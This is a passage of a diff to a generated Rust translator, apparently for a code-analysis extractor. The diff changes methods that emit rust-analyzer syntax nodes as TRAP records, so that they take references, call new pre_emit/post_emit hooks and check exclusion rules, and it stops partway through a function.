-#![cfg_attr(any(), rustfmt::skip)] - use super::base::Translator; use super::mappings::TextValue; -use crate::emit_detached; use crate::generated; use crate::trap::{Label, TrapId}; +use crate::{post_emit, pre_emit}; use ra_ap_syntax::ast::{ HasArgList, HasAttrs, HasGenericArgs, HasGenericParams, HasLoopBody, HasModuleItem, HasName, HasTypeBounds, HasVisibility, RangeItem, }; -use ra_ap_syntax::{ast, AstNode}; - +#[rustfmt::skip] +use ra_ap_syntax::{AstNode, ast}; impl Translator<'_> { - fn emit_else_branch(&mut self, node: ast::ElseBranch) -> Option> { + fn emit_else_branch(&mut self, node: &ast::ElseBranch) -> Option> { match node { ast::ElseBranch::IfExpr(inner) => self.emit_if_expr(inner).map(Into::into), ast::ElseBranch::Block(inner) => self.emit_block_expr(inner).map(Into::into), } } - - pub(crate) fn emit_asm_operand(&mut self, node: ast::AsmOperand) -> Option> { - match node { + pub(crate) fn emit_asm_operand( + &mut self, + node: &ast::AsmOperand, + ) -> Option> { + pre_emit!(AsmOperand, self, node); + let label = match node { ast::AsmOperand::AsmConst(inner) => self.emit_asm_const(inner).map(Into::into), ast::AsmOperand::AsmLabel(inner) => self.emit_asm_label(inner).map(Into::into), - ast::AsmOperand::AsmRegOperand(inner) => self.emit_asm_reg_operand(inner).map(Into::into), + ast::AsmOperand::AsmRegOperand(inner) => { + self.emit_asm_reg_operand(inner).map(Into::into) + } ast::AsmOperand::AsmSym(inner) => self.emit_asm_sym(inner).map(Into::into), - } + }?; + post_emit!(AsmOperand, self, node, label); + Some(label) } - - pub(crate) fn emit_asm_piece(&mut self, node: ast::AsmPiece) -> Option> { - match node { + pub(crate) fn emit_asm_piece( + &mut self, + node: &ast::AsmPiece, + ) -> Option> { + pre_emit!(AsmPiece, self, node); + let label = match node { ast::AsmPiece::AsmClobberAbi(inner) => self.emit_asm_clobber_abi(inner).map(Into::into), - ast::AsmPiece::AsmOperandNamed(inner) => self.emit_asm_operand_named(inner).map(Into::into), + ast::AsmPiece::AsmOperandNamed(inner) => { + self.emit_asm_operand_named(inner).map(Into::into) + } ast::AsmPiece::AsmOptions(inner) => self.emit_asm_options(inner).map(Into::into), - } + }?; + post_emit!(AsmPiece, self, node, label); + Some(label) } - - pub(crate) fn emit_assoc_item(&mut self, node: ast::AssocItem) -> Option> { - match node { + pub(crate) fn emit_assoc_item( + &mut self, + node: &ast::AssocItem, + ) -> Option> { + pre_emit!(AssocItem, self, node); + let label = match node { ast::AssocItem::Const(inner) => self.emit_const(inner).map(Into::into), ast::AssocItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::AssocItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::AssocItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), - } + }?; + post_emit!(AssocItem, self, node, label); + Some(label) } - - pub(crate) fn emit_expr(&mut self, node: ast::Expr) -> Option> { - match node { + pub(crate) fn emit_expr(&mut self, node: &ast::Expr) -> Option> { + pre_emit!(Expr, self, node); + let label = match node { ast::Expr::ArrayExpr(inner) => self.emit_array_expr(inner).map(Into::into), ast::Expr::AsmExpr(inner) => self.emit_asm_expr(inner).map(Into::into), ast::Expr::AwaitExpr(inner) => self.emit_await_expr(inner).map(Into::into), @@ -85,44 +101,72 @@ impl Translator<'_> { ast::Expr::WhileExpr(inner) => self.emit_while_expr(inner).map(Into::into), ast::Expr::YeetExpr(inner) => self.emit_yeet_expr(inner).map(Into::into), ast::Expr::YieldExpr(inner) => self.emit_yield_expr(inner).map(Into::into), - } + }?; + post_emit!(Expr, self, node, label); + Some(label) } - - pub(crate) fn emit_extern_item(&mut self, node: ast::ExternItem) -> Option> { - match node { + pub(crate) fn emit_extern_item( + &mut self, + node: &ast::ExternItem, + ) -> Option> { + pre_emit!(ExternItem, self, node); + let label = match node { ast::ExternItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::ExternItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::ExternItem::Static(inner) => self.emit_static(inner).map(Into::into), ast::ExternItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), - } - } - - pub(crate) fn emit_field_list(&mut self, node: ast::FieldList) -> Option> { - match node { - ast::FieldList::RecordFieldList(inner) => self.emit_record_field_list(inner).map(Into::into), - ast::FieldList::TupleFieldList(inner) => self.emit_tuple_field_list(inner).map(Into::into), - } - } - - pub(crate) fn emit_generic_arg(&mut self, node: ast::GenericArg) -> Option> { - match node { + }?; + post_emit!(ExternItem, self, node, label); + Some(label) + } + pub(crate) fn emit_field_list( + &mut self, + node: &ast::FieldList, + ) -> Option> { + pre_emit!(FieldList, self, node); + let label = match node { + ast::FieldList::RecordFieldList(inner) => { + self.emit_record_field_list(inner).map(Into::into) + } + ast::FieldList::TupleFieldList(inner) => { + self.emit_tuple_field_list(inner).map(Into::into) + } + }?; + post_emit!(FieldList, self, node, label); + Some(label) + } + pub(crate) fn emit_generic_arg( + &mut self, + node: &ast::GenericArg, + ) -> Option> { + pre_emit!(GenericArg, self, node); + let label = match node { ast::GenericArg::AssocTypeArg(inner) => self.emit_assoc_type_arg(inner).map(Into::into), ast::GenericArg::ConstArg(inner) => self.emit_const_arg(inner).map(Into::into), ast::GenericArg::LifetimeArg(inner) => self.emit_lifetime_arg(inner).map(Into::into), ast::GenericArg::TypeArg(inner) => self.emit_type_arg(inner).map(Into::into), - } + }?; + post_emit!(GenericArg, self, node, label); + Some(label) } - - pub(crate) fn emit_generic_param(&mut self, node: ast::GenericParam) -> Option> { - match node { + pub(crate) fn emit_generic_param( + &mut self, + node: &ast::GenericParam, + ) -> Option> { + pre_emit!(GenericParam, self, node); + let label = match node { ast::GenericParam::ConstParam(inner) => self.emit_const_param(inner).map(Into::into), - ast::GenericParam::LifetimeParam(inner) => self.emit_lifetime_param(inner).map(Into::into), + ast::GenericParam::LifetimeParam(inner) => { + self.emit_lifetime_param(inner).map(Into::into) + } ast::GenericParam::TypeParam(inner) => self.emit_type_param(inner).map(Into::into), - } + }?; + post_emit!(GenericParam, self, node, label); + Some(label) } - - pub(crate) fn emit_pat(&mut self, node: ast::Pat) -> Option> { - match node { + pub(crate) fn emit_pat(&mut self, node: &ast::Pat) -> Option> { + pre_emit!(Pat, self, node); + let label = match node { ast::Pat::BoxPat(inner) => self.emit_box_pat(inner).map(Into::into), ast::Pat::ConstBlockPat(inner) => self.emit_const_block_pat(inner).map(Into::into), ast::Pat::IdentPat(inner) => self.emit_ident_pat(inner).map(Into::into), @@ -139,19 +183,23 @@ impl Translator<'_> { ast::Pat::TuplePat(inner) => self.emit_tuple_pat(inner).map(Into::into), ast::Pat::TupleStructPat(inner) => self.emit_tuple_struct_pat(inner).map(Into::into), ast::Pat::WildcardPat(inner) => self.emit_wildcard_pat(inner).map(Into::into), - } + }?; + post_emit!(Pat, self, node, label); + Some(label) } - - pub(crate) fn emit_stmt(&mut self, node: ast::Stmt) -> Option> { - match node { + pub(crate) fn emit_stmt(&mut self, node: &ast::Stmt) -> Option> { + pre_emit!(Stmt, self, node); + let label = match node { ast::Stmt::ExprStmt(inner) => self.emit_expr_stmt(inner).map(Into::into), ast::Stmt::Item(inner) => self.emit_item(inner).map(Into::into), ast::Stmt::LetStmt(inner) => self.emit_let_stmt(inner).map(Into::into), - } + }?; + post_emit!(Stmt, self, node, label); + Some(label) } - - pub(crate) fn emit_type(&mut self, node: ast::Type) -> Option> { - match node { + pub(crate) fn emit_type(&mut self, node: &ast::Type) -> Option> { + pre_emit!(TypeRepr, self, node); + let label = match node { ast::Type::ArrayType(inner) => self.emit_array_type(inner).map(Into::into), ast::Type::DynTraitType(inner) => self.emit_dyn_trait_type(inner).map(Into::into), ast::Type::FnPtrType(inner) => self.emit_fn_ptr_type(inner).map(Into::into), @@ -166,18 +214,25 @@ impl Translator<'_> { ast::Type::RefType(inner) => self.emit_ref_type(inner).map(Into::into), ast::Type::SliceType(inner) => self.emit_slice_type(inner).map(Into::into), ast::Type::TupleType(inner) => self.emit_tuple_type(inner).map(Into::into), - } + }?; + post_emit!(TypeRepr, self, node, label); + Some(label) } - - pub(crate) fn emit_use_bound_generic_arg(&mut self, node: ast::UseBoundGenericArg) -> Option> { - match node { + pub(crate) fn emit_use_bound_generic_arg( + &mut self, + node: &ast::UseBoundGenericArg, + ) -> Option> { + pre_emit!(UseBoundGenericArg, self, node); + let label = match node { ast::UseBoundGenericArg::Lifetime(inner) => self.emit_lifetime(inner).map(Into::into), ast::UseBoundGenericArg::NameRef(inner) => self.emit_name_ref(inner).map(Into::into), - } + }?; + post_emit!(UseBoundGenericArg, self, node, label); + Some(label) } - - pub(crate) fn emit_item(&mut self, node: ast::Item) -> Option> { - match node { + pub(crate) fn emit_item(&mut self, node: &ast::Item) -> Option> { + pre_emit!(Item, self, node); + let label = match node { ast::Item::Const(inner) => self.emit_const(inner).map(Into::into), ast::Item::Enum(inner) => self.emit_enum(inner).map(Into::into), ast::Item::ExternBlock(inner) => self.emit_extern_block(inner).map(Into::into), @@ -195,37 +250,56 @@ impl Translator<'_> { ast::Item::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), ast::Item::Union(inner) => self.emit_union(inner).map(Into::into), ast::Item::Use(inner) => self.emit_use(inner).map(Into::into), - } + }?; + post_emit!(Item, self, node, label); + Some(label) } - - pub(crate) fn emit_abi(&mut self, node: ast::Abi) -> Option> { + pub(crate) fn emit_abi(&mut self, node: &ast::Abi) -> Option> { + pre_emit!(Abi, self, node); + if self.should_be_excluded(node) { + return None; + } let abi_string = node.try_get_text(); let label = self.trap.emit(generated::Abi { id: TrapId::Star, abi_string, }); - self.emit_location(label, &node); - emit_detached!(Abi, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Abi, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_arg_list(&mut self, node: ast::ArgList) -> Option> { - let args = node.args().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_arg_list( + &mut self, + node: &ast::ArgList, + ) -> Option> { + pre_emit!(ArgList, self, node); + if self.should_be_excluded(node) { + return None; + } + let args = node.args().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::ArgList { id: TrapId::Star, args, }); - self.emit_location(label, &node); - emit_detached!(ArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ArgList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_array_expr(&mut self, node: ast::ArrayExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let exprs = node.exprs().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_array_expr( + &mut self, + node: &ast::ArrayExpr, + ) -> Option> { + pre_emit!(ArrayExprInternal, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let exprs = node.exprs().filter_map(|x| self.emit_expr(&x)).collect(); let is_semicolon = node.semicolon_token().is_some(); let label = self.trap.emit(generated::ArrayExprInternal { id: TrapId::Star, @@ -233,205 +307,311 @@ impl Translator<'_> { exprs, is_semicolon, }); - self.emit_location(label, &node); - emit_detached!(ArrayExprInternal, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ArrayExprInternal, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_array_type(&mut self, node: ast::ArrayType) -> Option> { - let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x)); - let element_type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_array_type( + &mut self, + node: &ast::ArrayType, + ) -> Option> { + pre_emit!(ArrayTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); + let element_type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ArrayTypeRepr { id: TrapId::Star, const_arg, element_type_repr, }); - self.emit_location(label, &node); - emit_detached!(ArrayTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_asm_clobber_abi(&mut self, node: ast::AsmClobberAbi) -> Option> { - let label = self.trap.emit(generated::AsmClobberAbi { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(AsmClobberAbi, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ArrayTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_const(&mut self, node: ast::AsmConst) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_asm_clobber_abi( + &mut self, + node: &ast::AsmClobberAbi, + ) -> Option> { + pre_emit!(AsmClobberAbi, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self + .trap + .emit(generated::AsmClobberAbi { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(AsmClobberAbi, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_asm_const( + &mut self, + node: &ast::AsmConst, + ) -> Option> { + pre_emit!(AsmConst, self, node); + if self.should_be_excluded(node) { + return None; + } + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::AsmConst { id: TrapId::Star, expr, is_const, }); - self.emit_location(label, &node); - emit_detached!(AsmConst, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmConst, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_dir_spec(&mut self, node: ast::AsmDirSpec) -> Option> { - let label = self.trap.emit(generated::AsmDirSpec { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(AsmDirSpec, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_asm_expr(&mut self, node: ast::AsmExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let asm_pieces = node.asm_pieces().filter_map(|x| self.emit_asm_piece(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let template = node.template().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_asm_dir_spec( + &mut self, + node: &ast::AsmDirSpec, + ) -> Option> { + pre_emit!(AsmDirSpec, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self.trap.emit(generated::AsmDirSpec { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(AsmDirSpec, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_asm_expr( + &mut self, + node: &ast::AsmExpr, + ) -> Option> { + pre_emit!(AsmExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let asm_pieces = node + .asm_pieces() + .filter_map(|x| self.emit_asm_piece(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let template = node.template().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::AsmExpr { id: TrapId::Star, asm_pieces, attrs, template, }); - self.emit_location(label, &node); - emit_detached!(AsmExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_label(&mut self, node: ast::AsmLabel) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_asm_label( + &mut self, + node: &ast::AsmLabel, + ) -> Option> { + pre_emit!(AsmLabel, self, node); + if self.should_be_excluded(node) { + return None; + } + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::AsmLabel { id: TrapId::Star, block_expr, }); - self.emit_location(label, &node); - emit_detached!(AsmLabel, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmLabel, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_operand_expr(&mut self, node: ast::AsmOperandExpr) -> Option> { - let in_expr = node.in_expr().and_then(|x| self.emit_expr(x)); - let out_expr = node.out_expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_asm_operand_expr( + &mut self, + node: &ast::AsmOperandExpr, + ) -> Option> { + pre_emit!(AsmOperandExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + let in_expr = node.in_expr().and_then(|x| self.emit_expr(&x)); + let out_expr = node.out_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AsmOperandExpr { id: TrapId::Star, in_expr, out_expr, }); - self.emit_location(label, &node); - emit_detached!(AsmOperandExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmOperandExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_operand_named(&mut self, node: ast::AsmOperandNamed) -> Option> { - let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(x)); - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_asm_operand_named( + &mut self, + node: &ast::AsmOperandNamed, + ) -> Option> { + pre_emit!(AsmOperandNamed, self, node); + if self.should_be_excluded(node) { + return None; + } + let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::AsmOperandNamed { id: TrapId::Star, asm_operand, name, }); - self.emit_location(label, &node); - emit_detached!(AsmOperandNamed, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmOperandNamed, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_option(&mut self, node: ast::AsmOption) -> Option> { + pub(crate) fn emit_asm_option( + &mut self, + node: &ast::AsmOption, + ) -> Option> { + pre_emit!(AsmOption, self, node); + if self.should_be_excluded(node) { + return None; + } let is_raw = node.raw_token().is_some(); let label = self.trap.emit(generated::AsmOption { id: TrapId::Star, is_raw, }); - self.emit_location(label, &node); - emit_detached!(AsmOption, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmOption, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_options(&mut self, node: ast::AsmOptions) -> Option> { - let asm_options = node.asm_options().filter_map(|x| self.emit_asm_option(x)).collect(); + pub(crate) fn emit_asm_options( + &mut self, + node: &ast::AsmOptions, + ) -> Option> { + pre_emit!(AsmOptionsList, self, node); + if self.should_be_excluded(node) { + return None; + } + let asm_options = node + .asm_options() + .filter_map(|x| self.emit_asm_option(&x)) + .collect(); let label = self.trap.emit(generated::AsmOptionsList { id: TrapId::Star, asm_options, }); - self.emit_location(label, &node); - emit_detached!(AsmOptionsList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmOptionsList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_reg_operand(&mut self, node: ast::AsmRegOperand) -> Option> { - let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(x)); - let asm_operand_expr = node.asm_operand_expr().and_then(|x| self.emit_asm_operand_expr(x)); - let asm_reg_spec = node.asm_reg_spec().and_then(|x| self.emit_asm_reg_spec(x)); + pub(crate) fn emit_asm_reg_operand( + &mut self, + node: &ast::AsmRegOperand, + ) -> Option> { + pre_emit!(AsmRegOperand, self, node); + if self.should_be_excluded(node) { + return None; + } + let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(&x)); + let asm_operand_expr = node + .asm_operand_expr() + .and_then(|x| self.emit_asm_operand_expr(&x)); + let asm_reg_spec = node.asm_reg_spec().and_then(|x| self.emit_asm_reg_spec(&x)); let label = self.trap.emit(generated::AsmRegOperand { id: TrapId::Star, asm_dir_spec, asm_operand_expr, asm_reg_spec, }); - self.emit_location(label, &node); - emit_detached!(AsmRegOperand, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmRegOperand, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_reg_spec(&mut self, node: ast::AsmRegSpec) -> Option> { - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_asm_reg_spec( + &mut self, + node: &ast::AsmRegSpec, + ) -> Option> { + pre_emit!(AsmRegSpec, self, node); + if self.should_be_excluded(node) { + return None; + } + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::AsmRegSpec { id: TrapId::Star, identifier, }); - self.emit_location(label, &node); - emit_detached!(AsmRegSpec, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmRegSpec, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_sym(&mut self, node: ast::AsmSym) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_asm_sym(&mut self, node: &ast::AsmSym) -> Option> { + pre_emit!(AsmSym, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::AsmSym { id: TrapId::Star, path, }); - self.emit_location(label, &node); - emit_detached!(AsmSym, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AsmSym, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_assoc_item_list(&mut self, node: ast::AssocItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_items = node.assoc_items().filter_map(|x| self.emit_assoc_item(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_assoc_item_list( + &mut self, + node: &ast::AssocItemList, + ) -> Option> { + pre_emit!(AssocItemList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let assoc_items = node + .assoc_items() + .filter_map(|x| self.emit_assoc_item(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::AssocItemList { id: TrapId::Star, assoc_items, attrs, }); - self.emit_location(label, &node); - emit_detached!(AssocItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AssocItemList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_assoc_type_arg(&mut self, node: ast::AssocTypeArg) -> Option> { - let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x)); - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_assoc_type_arg( + &mut self, + node: &ast::AssocTypeArg, + ) -> Option> { + pre_emit!(AssocTypeArg, self, node); + if self.should_be_excluded(node) { + return None; + } + let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let return_type_syntax = node + .return_type_syntax() + .and_then(|x| self.emit_return_type_syntax(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::AssocTypeArg { id: TrapId::Star, const_arg, @@ -443,60 +623,87 @@ impl Translator<'_> { type_repr, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(AssocTypeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AssocTypeArg, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_attr(&mut self, node: ast::Attr) -> Option> { - let meta = node.meta().and_then(|x| self.emit_meta(x)); + pub(crate) fn emit_attr(&mut self, node: &ast::Attr) -> Option> { + pre_emit!(Attr, self, node); + if self.should_be_excluded(node) { + return None; + } + let meta = node.meta().and_then(|x| self.emit_meta(&x)); let label = self.trap.emit(generated::Attr { id: TrapId::Star, meta, }); - self.emit_location(label, &node); - emit_detached!(Attr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Attr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_await_expr(&mut self, node: ast::AwaitExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_await_expr( + &mut self, + node: &ast::AwaitExpr, + ) -> Option> { + pre_emit!(AwaitExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AwaitExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(AwaitExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(AwaitExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_become_expr(&mut self, node: ast::BecomeExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_become_expr( + &mut self, + node: &ast::BecomeExpr, + ) -> Option> { + pre_emit!(BecomeExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::BecomeExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(BecomeExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(BecomeExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_bin_expr(&mut self, node: ast::BinExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lhs = node.lhs().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_bin_expr( + &mut self, + node: &ast::BinExpr, + ) -> Option> { + pre_emit!(BinaryExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lhs = node.lhs().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); - let rhs = node.rhs().and_then(|x| self.emit_expr(x)); + let rhs = node.rhs().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::BinaryExpr { id: TrapId::Star, attrs, @@ -504,23 +711,31 @@ impl Translator<'_> { operator_name, rhs, }); - self.emit_location(label, &node); - emit_detached!(BinaryExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(BinaryExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_block_expr(&mut self, node: ast::BlockExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_block_expr( + &mut self, + node: &ast::BlockExpr, + ) -> Option> { + pre_emit!(BlockExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_async = 